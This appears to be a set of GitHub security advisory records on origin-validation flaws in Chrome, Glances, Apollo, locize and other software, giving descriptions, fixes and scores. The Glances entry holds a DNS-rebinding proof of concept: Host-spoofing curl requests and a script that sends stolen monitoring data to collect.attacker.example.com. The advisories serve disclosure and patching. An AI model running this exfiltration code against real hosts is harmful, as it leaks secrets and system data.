CWE-346

{
  "affected": [],
  "aliases": [
    "CVE-2026-11194"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T23:17:26Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Network in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-vxcg-jvmf-23hg",
  "modified": "2026-06-05T18:31:38Z",
  "published": "2026-06-05T00:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11194"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/503719488"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.70.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@grackle-ai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.70.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T17:27:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe WebSocket upgrade handler in the server validates authentication (API key token or session cookie) but does not check the `Origin` header. A malicious webpage on a different origin could initiate a WebSocket connection to `ws://localhost:3000/ws` if it can leverage the user\u0027s session cookie (which is `SameSite=Lax`, allowing top-level navigations).\n\nThis enables **cross-origin WebSocket hijacking** \u2014 if a user visits a malicious site while a Grackle session is active, the attacker\u0027s page could open a WebSocket and subscribe to real-time events (session output, task updates, environment state).\n\n**Affected code:**\n- `packages/server/src/ws-bridge.ts:80-91` \u2014 connection handler accepts WebSocket upgrades without checking `req.headers.origin`\n\n### Patches\n\n**Fix:** Validate `req.headers.origin` against an allowlist before accepting connections:\n```typescript\nconst origin = req.headers.origin || \"\";\nif (origin \u0026\u0026 !origin.includes(\"localhost\") \u0026\u0026 !origin.includes(\"127.0.0.1\")) {\n  ws.close(4003, \"Invalid origin\");\n  return;\n}\n```\n\n### Workarounds\n\nEnsure the Grackle server is only accessible on `127.0.0.1` (the default). Do not use `--allow-network` in untrusted network environments.\n\n### Resources\n\n- CWE-346: Origin Validation Error\n- File: `packages/server/src/ws-bridge.ts`",
  "id": "GHSA-w3hv-x4fp-6h6j",
  "modified": "2026-03-25T17:28:05Z",
  "published": "2026-03-25T17:27:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nick-pape/grackle/security/advisories/GHSA-w3hv-x4fp-6h6j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nick-pape/grackle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@grackle-ai/server has Missing WebSocket Origin Header Validation"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-10996"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T23:17:03Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Workers in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-w6p7-cc7p-w2qr",
  "modified": "2026-06-06T03:31:20Z",
  "published": "2026-06-05T00:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10996"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/40051700"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-28883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-08T15:15:09Z",
    "severity": "HIGH"
  },
  "details": "An origin validation vulnerability exists in \n\nBIG-IP APM browser network access VPN client \n\n\n\n for Windows, macOS and Linux which may allow an attacker to bypass F5 endpoint inspection. \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
  "id": "GHSA-w6q8-c6q3-jvxr",
  "modified": "2024-05-08T15:30:42Z",
  "published": "2024-05-08T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28883"
    },
    {
      "type": "WEB",
      "url": "https://my.f5.com/manage/s/article/K000138744"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-34930"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-21T14:16:45Z",
    "severity": "HIGH"
  },
  "details": "An origin validation vulnerability in the Apex One/SEP agent could allow a local attacker to escalate privileges on affected installations. This is similar to CVE-2026-34927 but exists in a different process protection mechanism.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.",
  "id": "GHSA-w6rw-fq38-ch7g",
  "modified": "2026-05-21T15:34:09Z",
  "published": "2026-05-21T15:34:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34930"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/en-US/solution/KA-0023430"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:31:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Glances XML-RPC server (`glances -s`, implemented in `glances/server.py`) does not validate the HTTP `Host` header, leaving it vulnerable to DNS rebinding attacks.  CVE-2026-32632 (patched in 4.5.2) added `TrustedHostMiddleware` to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no `allowed-hosts` configuration key.  Combined with the unrestricted `Access-Control-Allow-Origin: *` header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim\u0027s browser.\n\n---\n\n### Details\n\n**Affected component:** `glances/server.py` \u2014 `GlancesXMLRPCHandler` / `GlancesXMLRPCServer`\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py\n\nContrast \u2014 patched backends:\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py\n\nThe `GlancesXMLRPCHandler` class inherits from Python\u0027s `xmlrpc.server.SimpleXMLRPCRequestHandler` and does not override `parse_request()` to inspect or validate the `Host` header.\n\nContrast this with the two other Glances server backends, both of which received host-validation hardening:\n\n**REST / WebUI server** (`glances/outputs/glances_restful_api.py`) \u2014 patched in 4.5.2:\n\n```python\n# glances_restful_api.py\nif self.webui_allowed_hosts:\n    self._app.add_middleware(\n        TrustedHostMiddleware,\n        allowed_hosts=self.webui_allowed_hosts,\n    )\n```\n\n**MCP server** (`glances/outputs/glances_mcp.py`) \u2014 protected since 4.5.1:\n\n```python\n# glances_mcp.py\nTransportSecuritySettings(\n    allowed_hosts=self.mcp_allowed_hosts,\n    ...\n)\n```\n\n**XML-RPC server** (`glances/server.py`) \u2014 no equivalent exists:\n\n```python\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n    # No Host header check; any Host value is accepted\n    rpc_paths = (\u0027/RPC2\u0027,)\n    ...\n```\n\nThere is no `xmlrpc_allowed_hosts` (or equivalent) configuration key in `glances.conf`, and the server ignores the `Host` header on every incoming request.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Server type | Host header          | HTTP status | Data returned |\n|-------------|----------------------|-------------|---------------|\n| XML-RPC     | `attacker.example.com` | 200 OK    | Yes \u2014 VULNERABLE |\n| XML-RPC     | `127.0.0.1:61209`    | 200 OK      | Yes (baseline)   |\n| REST API    | `attacker.example.com` | 400 Bad Request | No \u2014 patched |\n\n---\n\n### PoC\n\n**Attack overview**\n\nDNS rebinding breaks the browser Same-Origin Policy by making `attacker.example.com` temporarily resolve to the target\u0027s IP address (e.g. `127.0.0.1`).  From that point the victim\u0027s browser treats the attacker\u0027s page as same-origin with `http://attacker.example.com:61209/RPC2`, forwarding the attacker-controlled `Host` header to the local Glances XML-RPC server, which accepts it without validation.\n\n**Special configuration required**\n\nNo special `glances.conf` settings are needed.  The vulnerability is present in a default Glances XML-RPC server start (`glances -s`).  For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (`pip install \"glances[web]\"`).\n\n---\n\n**Step 1 \u2014 Start the Glances XML-RPC server**\n\n```bash\nglances -s -p 61209\n```\n\n**Step 2 \u2014 Confirm the server accepts an arbitrary Host header**\n\n```bash\ncurl -s -D - -X POST \"http://127.0.0.1:61209/RPC2\" \\\n     -H \"Host: attacker.example.com\" \\\n     -H \"Content-Type: text/plain\" \\\n     -d \u0027\u003c?xml version=\"1.0\"?\u003e\n         \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n```\n\nExpected result (secure): `HTTP/1.0 400 Bad Request`\nActual result: `HTTP/1.0 200 OK` with full XML-RPC response body.\n\n**Step 3 \u2014 Confirm the REST API is patched (comparison)**\n\n```bash\n# Start REST server with the same machine as allowed host:\nglances -w -p 61210 --webui-port 61210\n\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \\\n     \"http://127.0.0.1:61210/api/4/status\" \\\n     -H \"Host: attacker.example.com\"\n# Returns: 400   (TrustedHostMiddleware rejects the spoofed Host)\n```\n\n**Step 4 \u2014 Full DNS rebinding exploitation (real-world path)**\n\n1. Attacker registers `attacker.example.com` with a low-TTL (1 second) DNS record initially pointing to their own server IP.\n2. Attacker serves the following page from `http://attacker.example.com`:\n\n```html\n\u003cscript\u003e\nasync function exfil() {\n  const payload = `\u003c?xml version=\"1.0\"?\u003e\n    \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n  try {\n    const r = await fetch(\u0027http://attacker.example.com:61209/RPC2\u0027, {\n      method:  \u0027POST\u0027,\n      headers: { \u0027Content-Type\u0027: \u0027text/plain\u0027 },\n      body:    payload,\n    });\n    const data = await r.text();\n    // data contains: hostname, OS, all processes with cmd-lines, network, disk\n    await fetch(\u0027https://collect.attacker.example.com/?d=\u0027 + btoa(data));\n  } catch (_) {}\n}\n\n// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()\nsetTimeout(exfil, 5000);\n\u003c/script\u003e\n```\n\n3. Victim visits `http://attacker.example.com` in their browser.\n4. After TTL expiry, the attacker\u0027s DNS server responds with `127.0.0.1`.\n5. The browser\u0027s `fetch()` call is sent to `127.0.0.1:61209` with `Host: attacker.example.com`; the XML-RPC server accepts it.\n6. The `Access-Control-Allow-Origin: *` header (see companion advisory) allows the browser to read the response body.\n7. The attacker receives the complete system monitoring snapshot.\n\nTools that simplify DNS rebinding for research/testing include:\n- [Singularity](https://github.com/nccgroup/singularity)\n- [rbndr.us](https://rbndr.us)\n\n**Step 5 \u2014 Confirm absence of Host check in source**\n\n```python\nimport sys, inspect\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nimport glances.server as s\n\nsrc = inspect.getsource(s.GlancesXMLRPCHandler)\nprint(\u0027Host check present:\u0027, \u0027allowed_hosts\u0027 in src or \u0027Host\u0027 in src)\n# Host check present: False\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)\n\n**Who is impacted:** Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page.  This includes deployments where:\n\n- Glances is bound to `127.0.0.1` (loopback) \u2014 DNS rebinding bypasses the loopback restriction.\n- Glances is bound to a LAN IP \u2014 any browser on that LAN is at risk.\n- Glances is exposed on a public IP \u2014 any browser on the internet is at risk.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High \u2014 complete system monitoring data readable remotely without credentials.\n- **Integrity:** None \u2014 read-only XML-RPC API.\n- **Availability:** None \u2014 no denial-of-service component.\n\nThe attack is amplified by the companion CORS wildcard issue (vuln03): without `Access-Control-Allow-Origin: *`, the browser would still block the response read.  Both issues must be fixed together for effective remediation.\n\n---\n\n### Suggested Fix\n\n**Option 1 \u2014 Add Host validation to the XML-RPC handler (preferred)**\n\nAdd a `webui_allowed_hosts` (or new `xmlrpc_allowed_hosts`) configuration key, and validate the `Host` header in `GlancesXMLRPCHandler`:\n\n```python\n# server.py\nclass GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):\n\n    allowed_hosts: list[str] = []   # populated from config\n\n    def parse_request(self) -\u003e bool:\n        if not super().parse_request():\n            return False\n        if self.allowed_hosts:\n            host = self.headers.get(\u0027Host\u0027, \u0027\u0027).split(\u0027:\u0027)[0]\n            if host not in self.allowed_hosts:\n                self.send_error(400, \u0027Bad Request: invalid Host header\u0027)\n                return False\n        return True\n```\n\nPopulate `allowed_hosts` from the existing `webui_allowed_hosts` config key (already used by the REST server), so operators have a single knob.\n\n**Option 2 \u2014 Deprecate and remove the XML-RPC server**\n\nThe XML-RPC server is a legacy interface.  The REST API (`glances -w`) provides a superset of functionality, is actively maintained, and has all current security controls.  Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.\n\n---\n\n### Responsible Disclosure\nThe AFINE Team is committed to responsible / coordinated disclosure.  The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. \n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
  "id": "GHSA-w856-8p3r-p338",
  "modified": "2026-06-22T21:31:44Z",
  "published": "2026-06-22T21:31:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-w856-8p3r-p338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/sandbox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/explorer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-26T15:00:05Z",
    "nvd_published_at": "2025-09-26T23:15:31Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA **Cross-Site Request Forgery (CSRF)** vulnerability was identified in Apollo\u2019s **Embedded Sandbox** and **Embedded Explorer**.\n\nThe vulnerability arises from missing origin validation in the client-side code that handles `window.postMessage` events. A malicious website can send forged messages to the embedding page, causing the victim\u2019s browser to execute arbitrary GraphQL queries or mutations against their GraphQL server while authenticated with the victim\u2019s cookies.\n\n#### Who is impacted\n\nAnyone embedding [Apollo Sandbox](https://www.apollographql.com/docs/graphos/platform/sandbox#embedding-sandbox) or [Apollo Explorer](https://www.apollographql.com/docs/graphos/platform/explorer/embed) in their website may have been affected by this vulnerability.\n\n- Users who embed Apollo Sandbox or Apollo Explorer in their websites via npm packages (`@apollo/sandbox` and `@apollo/explorer`) or direct links to Apollo\u2019s CDN.\n- Users running Apollo Router with [embedded Sandbox enabled](https://www.apollographql.com/docs/graphos/routing/configuration/yaml#sandbox). This served the vulnerable code from Apollo\u2019s CDN.\n- Users running Apollo Server with embedded Sandbox or Explorer enabled. Embedded Sandbox is enabled by default when `NODE_ENV` is not set to `production`, and embedded Sandbox and Explorer can also be enabled in production mode via [landing page plugins](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages). This served the vulnerable code from Apollo\u2019s CDN.\n\nWhile all of the above methods of serving Embedded Sandbox and Explorer were vulnerable, Apollo has already updated its CDN to remove all vulnerable versions. **Unless you install the npm package `@apollo/sandbox` or `@apollo/explorer` directly into your website\u2019s front end code, no action is necessary: the vulnerability has already been mitigated.**\n\nUsers who do not embed Sandbox/Explorer on their websites, or who only run Apollo Router/Server with production defaults were never impacted. The use of non-embedded Sandbox and Explorer hosted on [studio.apollographql.com](http://studio.apollographql.com/) is not vulnerable.\n\n\n#### Scope of impact\n\nThe vulnerability allows a malicious website to open the vulnerable website in a new window and force it to send GraphQL requests to its origin. The requests themselves are not \"cross-origin\" as they are directly issued from the vulnerable website, but their contents are dictated by the malicious website.\n\nThe malicious website cannot read the responses to the GraphQL operations, but the operations may be mutations with side effects (such as using credentials to update app-specific data access controls). These operations can contain the browser user\u0027s cookies, and the vulnerable website may be on a private network otherwise inaccessible to the attacker. Operations sent this way look and exactly like legitimate operations sent by a human interacting with the embedded Sandbox or Explorer.\n\n### Patches\n\nThe issue has been fixed by adding strict origin validation to DOM message handling.\n\n- `@apollo/sandbox`: Patched in v2.7.2 and later\n- `@apollo/explorer`: Patched in v3.7.3 and later\n- Apollo\u2019s CDN embeds have been updated to patched versions. This protects embeds based on `\u003cscript\u003e` tags pointing to Apollo\u2019s CDN, as well as the Apollo Router and Apollo Server features. No action is necessary to adopt the fix in this case.\n\nIf you manually edited the `\u003cscript\u003e` tag provided by the Explorer or Sandbox UI to replace the version string `_latest`, `v2`, or `v3` with a specific git-style SHA, you may find that the Explorer or Sandbox UI does not currently load. To fix this, use a supported URL instead, as documented for [Sandbox](https://www.apollographql.com/docs/graphos/platform/sandbox#embedding-sandbox) or [Explorer](https://www.apollographql.com/docs/graphos/platform/explorer/embed). (The third-party Go GraphQL server [gqlgen](https://github.com/99designs/gqlgen) provides a function ApolloSandboxHandler which serves an unsupported URL and was broken by our mitigations; upgrading to [gqlgen v0.17.81](https://github.com/99designs/gqlgen/releases/tag/v0.17.81) will resolve this issue.)\n\n### Workarounds\n\n- If you are using Apollo Server, ensure `NODE_ENV=production` is set in production to avoid unintentionally serving embedded Sandbox.\n- Customers not using embedded Sandbox/Explorer are not affected and do not need to take action.\n\n\n### References\n\n- [Apollo Server CSRF Documentation](https://www.apollographql.com/docs/apollo-server/security/cors#preventing-cross-site-request-forgery-csrf)\n- [Apollo Router Sandbox Configuration](https://www.apollographql.com/docs/graphos/routing/configuration/yaml#sandbox)\n- [Apollo Explorer Embed Documentation](https://www.apollographql.com/docs/graphos/platform/explorer/embed)",
  "id": "GHSA-w87v-7w53-wwxv",
  "modified": "2025-09-29T14:03:00Z",
  "published": "2025-09-26T15:00:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apollographql/embeddable-explorer/security/advisories/GHSA-w87v-7w53-wwxv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59845"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apollographql/embeddable-explorer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apollo Embedded Sandbox and Explorer vulnerable to CSRF via window.postMessage origin-validation bypass"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-11217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T23:17:29Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Fenced Frames in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-w88q-hw69-7rhh",
  "modified": "2026-06-05T15:32:19Z",
  "published": "2026-06-05T00:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11217"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/487564032"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-35556"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-22T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Acronis Cyber Protect before 15 Update 1 build 26172. Because the local notification service misconfigures CORS, information disclosure can occur.",
  "id": "GHSA-w8ww-rjx9-2r6h",
  "modified": "2022-05-24T17:42:48Z",
  "published": "2022-05-24T17:42:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35556"
    },
    {
      "type": "WEB",
      "url": "https://dl.managed-protection.com/u/cyberprotect/rn/15/user/en-US/AcronisCyberProtect15_relnotes.htm"
    },
    {
      "type": "WEB",
      "url": "https://www.acronis.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "locize"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:32:11Z",
    "nvd_published_at": "2026-05-08T16:16:12Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nVersions of the `locize` client SDK (the browser module that wires up the locize InContext translation editor) prior to 4.0.21 register a `window.addEventListener(\"message\", \u2026)` handler that dispatches to registered internal handlers (`editKey`, `commitKey`, `commitKeys`, `isLocizeEnabled`, `requestInitialize`, \u2026) **without validating `event.origin`**.\n\nThe pre-patch listener in `src/api/postMessage.js` gates dispatch on `event.data.sender === \"i18next-editor-frame\"` \u2014 that value sits inside the attacker-controlled message payload, not the browser-enforced origin. Any web page that could embed or be embedded by a locize-enabled host \u2014 an iframe on a third-party page, a `window.open`-ed victim, a parent frame reaching down \u2014 could send a crafted `postMessage` and trigger the internal handlers.\n\n### Impact\n\nDepending on which handler the attacker invokes, distinct consequences follow. All of them share the same root cause: the handlers implicitly assumed the payload came from the real editor iframe.\n\n- **Cross-origin DOM XSS** via `editKey` / `commitKeys`: the pre-patch `handleEditKey` assigned attacker-controlled payload values to `item.node.innerHTML` and to `item.node.setAttribute(attr, value)`. That allowed planting `\u003cscript\u003e`, `\u003cimg onerror\u003e`, or `onclick`/`onload`/`onfocus` event handlers; and on attribute writes, `href=\"javascript:\u2026\"` / `src=\"data:text/html,\u003cscript\u003e\u2026\"` / `style=\"\u2026\"` / etc.\n\n- **`api.source` / `api.origin` hijack** via `isLocizeEnabled`: the handler set `api.source = e.source; api.origin = e.origin` \u2014 attacker-controlled values. All subsequent `sendMessage` calls (which post translations, callbacks, etc., back toward `api.source`) would go to the attacker window rather than the real editor, leaking translation content and any metadata the SDK forwards.\n\n- **CSS-injection / layout-escape** via `requestPopupChanges`: `containerStyle.height` / `.width` were interpolated into `calc()` expressions and `popup.style.setProperty()` without validation, allowing attackers to inject additional CSS declarations (semicolons, `behavior:url()` on legacy IE, CSS-exfil patterns) into the popup inline style.\n\nExploitation requires the attacker-owned page to share a window reference with the locize-enabled host: typical vectors are an `iframe` on an attacker-controlled page, a `window.opener`/`window.open` relationship, or a parent frame that can `postMessage` into an embedded locize host. The SDK intended model is that only the editor iframe at `https://incontext.locize.app` (or the configured staging/development origin) can reach these handlers.\n\n### Affected versions\n\nAll versions of `locize` prior to **4.0.21**.\n\n### Patch\n\nFixed in **4.0.21**. Two layers:\n\n1. **Primary** \u2014 validate `event.origin` at the top of `window.addEventListener(\"message\", \u2026)` in `src/api/postMessage.js`. The expected origin is the configured iframe origin (`getIframeUrl()`), so custom environments continue to work. Messages from any other origin are silently dropped before any handler runs.\n\n2. **Defence-in-depth** \u2014 `handleEditKey` now rejects dangerous attribute-name writes (`on*`, `style`) and `javascript:` / `data:` / `vbscript:` / `file:` URLs on `href` / `src` / `action` / `formaction` / `xlink:href`; `innerHTML` assignments are sanitised through a throwaway DOMParser document (stripping `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003cobject\u003e`, `\u003cembed\u003e`, `\u003clink\u003e`, `\u003cmeta\u003e`, `\u003cbase\u003e`, `\u003cstyle\u003e` plus event handlers and dangerous URL schemes). Legitimate translation formatting (`\u003cb\u003e`, `\u003cem\u003e`, `\u003cstrong\u003e`, `\u003ca href=\"https://\u2026\"\u003e`, etc.) passes through.\n\n3. **CSS-injection** \u2014 `handleRequestPopupChanges` now requires `containerStyle.height` / `.width` to match a strict CSS length pattern; malformed values are dropped silently.\n\n### Workarounds\n\nNo workaround short of upgrading.\n\n### Credits\n\nDiscovered via an internal security audit of the locize ecosystem.",
  "id": "GHSA-w937-fg2h-xhq2",
  "modified": "2026-05-13T13:30:12Z",
  "published": "2026-04-22T20:32:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/locize/locize/security/advisories/GHSA-w937-fg2h-xhq2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41886"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locize/locize/commit/d006b75fadb8e8ab77b023e462850fc6e9170735"
    },
    {
      "type": "WEB",
      "url": "https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage#security_concerns"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/locize/locize"
    },
    {
      "type": "WEB",
      "url": "https://github.com/locize/locize/releases/tag/v4.0.21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "locize Client SDK: Cross-origin DOM XSS \u0026 Handler Hijack Through Missing e.origin Validation in InContext Editor "
}